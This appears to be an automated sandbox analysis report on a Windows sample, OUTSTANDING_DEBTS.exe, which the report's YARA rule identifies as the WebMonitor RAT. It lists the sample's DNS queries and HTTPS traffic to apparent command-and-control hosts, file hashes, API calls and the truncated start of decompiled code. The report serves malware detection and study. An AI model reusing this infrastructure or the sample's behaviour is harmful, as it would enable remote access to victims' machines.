Aug 16, 2021 07:11:12.434988022 CEST	60152	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:13.871054888 CEST	57544	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:13.902404070 CEST	53	57544	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:16.424861908 CEST	60152	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:20.191945076 CEST	55984	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:20.219383001 CEST	53	55984	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:20.691643000 CEST	64185	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:20.729860067 CEST	53	64185	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:20.732992887 CEST	64186	123	192.168.2.3	194.58.200.20
Aug 16, 2021 07:11:20.769543886 CEST	123	64186	194.58.200.20	192.168.2.3
Aug 16, 2021 07:11:20.772912025 CEST	65110	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:21.601031065 CEST	58361	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:21.629653931 CEST	53	58361	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:21.800331116 CEST	65110	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:22.308497906 CEST	63492	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:22.334824085 CEST	53	63492	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:22.800604105 CEST	65110	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:23.138187885 CEST	60831	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:23.165385962 CEST	53	60831	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:23.871136904 CEST	60100	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:23.900010109 CEST	53	60100	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:24.816355944 CEST	65110	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:25.555618048 CEST	53195	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:25.589104891 CEST	53	53195	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:26.145020008 CEST	50141	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:26.177731991 CEST	53	50141	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:27.007570982 CEST	53023	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:27.037564039 CEST	53	53023	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:27.826338053 CEST	49563	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:27.864875078 CEST	53	49563	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:28.354804993 CEST	51352	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:28.413794994 CEST	53	51352	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:28.568124056 CEST	59349	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:28.605870008 CEST	53	59349	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:28.847518921 CEST	65110	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:29.453340054 CEST	57084	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:29.493093967 CEST	53	57084	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:30.696412086 CEST	58823	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:30.737581968 CEST	53	58823	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:32.142086983 CEST	57568	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:32.168874025 CEST	53	57568	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:33.434632063 CEST	50540	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:33.553019047 CEST	54366	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:33.582900047 CEST	53	54366	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:34.442156076 CEST	50540	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:35.442071915 CEST	50540	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:37.457828999 CEST	50540	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:41.514704943 CEST	50540	53	192.168.2.3	185.243.215.214
Aug 16, 2021 07:11:45.440387964 CEST	53034	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:45.468324900 CEST	53	53034	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:46.636046886 CEST	57762	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:46.668488979 CEST	53	57762	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:46.670064926 CEST	57763	123	192.168.2.3	194.58.200.20
Aug 16, 2021 07:11:46.706419945 CEST	123	57763	194.58.200.20	192.168.2.3
Aug 16, 2021 07:11:46.708832979 CEST	55435	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:11:47.749952078 CEST	55435	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:11:48.379921913 CEST	50713	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:48.449697971 CEST	53	50713	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:48.747798920 CEST	55435	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:11:49.246536016 CEST	56132	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:49.282234907 CEST	53	56132	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:49.666266918 CEST	58987	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:49.709098101 CEST	53	58987	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:50.210530043 CEST	56579	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:50.246110916 CEST	53	56579	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:50.661923885 CEST	60633	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:50.694859028 CEST	53	60633	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:51.439965963 CEST	55435	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:11:51.846920967 CEST	61292	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:51.884224892 CEST	53	61292	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:52.365809917 CEST	63619	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:52.404205084 CEST	53	63619	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:52.861782074 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:52.898714066 CEST	53	64938	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:53.679102898 CEST	61946	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:53.716845989 CEST	53	61946	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:54.497189999 CEST	64910	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:54.534126043 CEST	53	64910	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:54.936600924 CEST	52123	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:11:54.971268892 CEST	53	52123	8.8.8.8	192.168.2.3
Aug 16, 2021 07:11:55.451144934 CEST	55435	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:11:59.518913984 CEST	56130	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:12:00.545478106 CEST	56130	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:12:01.591873884 CEST	56130	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:12:03.474112034 CEST	56338	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:03.514255047 CEST	53	56338	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:03.609503984 CEST	56130	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:12:04.229502916 CEST	59420	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:04.257549047 CEST	53	59420	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:05.362973928 CEST	58784	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:05.398411989 CEST	53	58784	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:06.365984917 CEST	63978	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:06.401545048 CEST	53	63978	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:07.256968021 CEST	62938	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:07.289390087 CEST	53	62938	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:07.659677029 CEST	56130	53	192.168.2.3	1.2.4.8
Aug 16, 2021 07:12:12.791038036 CEST	55708	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:12.884231091 CEST	53	55708	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:12.885399103 CEST	55709	123	192.168.2.3	194.58.200.20
Aug 16, 2021 07:12:12.922389030 CEST	123	55709	194.58.200.20	192.168.2.3
Aug 16, 2021 07:12:12.925957918 CEST	56803	53	192.168.2.3	114.114.114.114
Aug 16, 2021 07:12:13.921415091 CEST	56803	53	192.168.2.3	114.114.114.114
Aug 16, 2021 07:12:14.937297106 CEST	56803	53	192.168.2.3	114.114.114.114
Aug 16, 2021 07:12:16.380994081 CEST	53	56803	114.114.114.114	192.168.2.3
Aug 16, 2021 07:12:16.408070087 CEST	57145	53	192.168.2.3	114.114.114.114
Aug 16, 2021 07:12:16.537022114 CEST	53	57145	114.114.114.114	192.168.2.3
Aug 16, 2021 07:12:18.581984043 CEST	55359	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:18.665235043 CEST	53	55359	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:19.369009972 CEST	58306	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:19.407951117 CEST	53	58306	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:29.138844967 CEST	53	56803	114.114.114.114	192.168.2.3
Aug 16, 2021 07:12:35.236685991 CEST	64124	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:35.281397104 CEST	53	64124	8.8.8.8	192.168.2.3
Aug 16, 2021 07:12:37.085846901 CEST	49361	53	192.168.2.3	8.8.8.8
Aug 16, 2021 07:12:37.137713909 CEST	53	49361	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 16, 2021 07:12:29.139208078 CEST	192.168.2.3	114.114.114.114	a527	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 16, 2021 07:11:07.998404980 CEST	192.168.2.3	8.8.8.8	0xb474	Standard query (0)	sdns.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:08.184398890 CEST	192.168.2.3	8.8.8.8	0xf08a	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:08.265342951 CEST	192.168.2.3	185.243.215.214	0x284f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:09.301246881 CEST	192.168.2.3	185.243.215.214	0x284f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:10.299215078 CEST	192.168.2.3	185.243.215.214	0x284f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:12.434988022 CEST	192.168.2.3	185.243.215.214	0x284f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:16.424861908 CEST	192.168.2.3	185.243.215.214	0x284f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:20.691643000 CEST	192.168.2.3	8.8.8.8	0xb420	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:20.772912025 CEST	192.168.2.3	185.243.215.214	0xad5f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:21.800331116 CEST	192.168.2.3	185.243.215.214	0xad5f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:22.800604105 CEST	192.168.2.3	185.243.215.214	0xad5f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:24.816355944 CEST	192.168.2.3	185.243.215.214	0xad5f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:28.847518921 CEST	192.168.2.3	185.243.215.214	0xad5f	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:33.434632063 CEST	192.168.2.3	185.243.215.214	0x55ed	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:34.442156076 CEST	192.168.2.3	185.243.215.214	0x55ed	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:35.442071915 CEST	192.168.2.3	185.243.215.214	0x55ed	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:37.457828999 CEST	192.168.2.3	185.243.215.214	0x55ed	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:41.514704943 CEST	192.168.2.3	185.243.215.214	0x55ed	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:46.636046886 CEST	192.168.2.3	8.8.8.8	0xf02e	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:46.708832979 CEST	192.168.2.3	1.2.4.8	0x5f53	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:47.749952078 CEST	192.168.2.3	1.2.4.8	0x5f53	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:48.747798920 CEST	192.168.2.3	1.2.4.8	0x5f53	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:51.439965963 CEST	192.168.2.3	1.2.4.8	0x5f53	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:55.451144934 CEST	192.168.2.3	1.2.4.8	0x5f53	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:59.518913984 CEST	192.168.2.3	1.2.4.8	0x220d	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:00.545478106 CEST	192.168.2.3	1.2.4.8	0x220d	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:01.591873884 CEST	192.168.2.3	1.2.4.8	0x220d	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:03.609503984 CEST	192.168.2.3	1.2.4.8	0x220d	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:07.659677029 CEST	192.168.2.3	1.2.4.8	0x220d	Standard query (0)	423959a945510b273b2c3fc16233733d.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:12.791038036 CEST	192.168.2.3	8.8.8.8	0x9a07	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:12.925957918 CEST	192.168.2.3	114.114.114.114	0x5448	Standard query (0)	9e518e46af12a15669d666a4bb10620c.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:13.921415091 CEST	192.168.2.3	114.114.114.114	0x5448	Standard query (0)	9e518e46af12a15669d666a4bb10620c.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:14.937297106 CEST	192.168.2.3	114.114.114.114	0x5448	Standard query (0)	9e518e46af12a15669d666a4bb10620c.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:16.408070087 CEST	192.168.2.3	114.114.114.114	0xf9db	Standard query (0)	9e518e46af12a15669d666a4bb10620c.se	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:18.581984043 CEST	192.168.2.3	8.8.8.8	0xbc3b	Standard query (0)	niiarmah.wm01.to	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 16, 2021 07:11:08.095299006 CEST	8.8.8.8	192.168.2.3	0xb474	No error (0)	sdns.se		185.243.215.214	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:08.222181082 CEST	8.8.8.8	192.168.2.3	0xf08a	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:20.729860067 CEST	8.8.8.8	192.168.2.3	0xb420	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 16, 2021 07:11:46.668488979 CEST	8.8.8.8	192.168.2.3	0xf02e	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:12.884231091 CEST	8.8.8.8	192.168.2.3	0x9a07	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:16.380994081 CEST	114.114.114.114	192.168.2.3	0x5448	Name error (3)	9e518e46af12a15669d666a4bb10620c.se	none	none	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:16.537022114 CEST	114.114.114.114	192.168.2.3	0xf9db	Name error (3)	9e518e46af12a15669d666a4bb10620c.se	none	none	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:18.665235043 CEST	8.8.8.8	192.168.2.3	0xbc3b	No error (0)	niiarmah.wm01.to		45.153.186.90	A (IP address)	IN (0x0001)
Aug 16, 2021 07:12:29.138844967 CEST	114.114.114.114	192.168.2.3	0x5448	Name error (3)	9e518e46af12a15669d666a4bb10620c.se	none	none	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 16, 2021 07:12:18.953620911 CEST	45.153.186.90	443	192.168.2.3	49748	CN=*.wm01.to, O=Internet Widgits Pty Ltd, L=SE, ST=SE, C=SE	CN=*.wm01.to, O=Internet Widgits Pty Ltd, L=SE, ST=SE, C=SE	Mon Jul 20 15:58:05 CEST 2020	Thu Jul 18 15:58:05 CEST 2030	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: OUTSTANDING_DEBTS.exe PID: 464 Parent PID: 5656

General

Start time:	07:10:57
Start date:	16/08/2021
Path:	C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'
Imagebase:	0xc50000
File size:	1322252 bytes
MD5 hash:	A0CB248C9464E9EA4F72EBC7D7807E98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000002.00000002.208343823.0000000005FF0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: conhost.exe PID: 4908 Parent PID: 464

General

Start time:	07:10:58
Start date:	16/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: OUTSTANDING_DEBTS.exe PID: 5376 Parent PID: 464

General

Start time:	07:10:59
Start date:	16/08/2021
Path:	C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe'
Imagebase:	0xc50000
File size:	1322252 bytes
MD5 hash:	A0CB248C9464E9EA4F72EBC7D7807E98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: OUTSTANDING_DEBTS.exe PID: 464 Parent PID: 5656 OUTSTANDING_DEBTS.exeCOMMON

Executed Functions

Function 00C306DA, Relevance: 10.7, APIs: 7, Instructions: 196filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00C307B4
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00C307DE
ReadFile.KERNELBASE(00000000,00000000,00C3026C,?,00000000), ref: 00C307F5
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 00C30817
FindCloseChangeNotification.KERNELBASE(7FDFFF66,?,?,?,?,?,?,?,?,?,?,?,?,?,00C301AE,7FDFFF66), ref: 00C3088A
VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 00C30895
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,?,00C301AE), ref: 00C308E0

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID: Virtual$AllocFileFree$ChangeCloseCreateFindNotificationRead
String ID:
API String ID: 656311269-0
Opcode ID: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction ID: 6ab1e01bd58411bd0463bc345f3a018805b362d0c4af257e8194be3a68bbc51c
Opcode Fuzzy Hash: 7596a5b0863dce102ac5e44fc0c1bf5ec247777bab1f74baaf6af156cc8ed73a
Instruction Fuzzy Hash: E461BF32E10708ABCB10DFA4C8A1BAEB7B5AF48710F248059F515EB391EB749E41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C54D50, Relevance: 375.6, APIs: 11, Strings: 203, Instructions: 1069
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00C54D50(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				WCHAR* _v12;
				struct HWND__* _v16;
				signed int _v20;
				struct HWND__* _v24;
				signed short _v28;
				signed int _v32;
				struct HWND__* _v36;
				struct HWND__* _v40;
				struct HWND__* _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v497;
				char _v498;
				char _v499;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
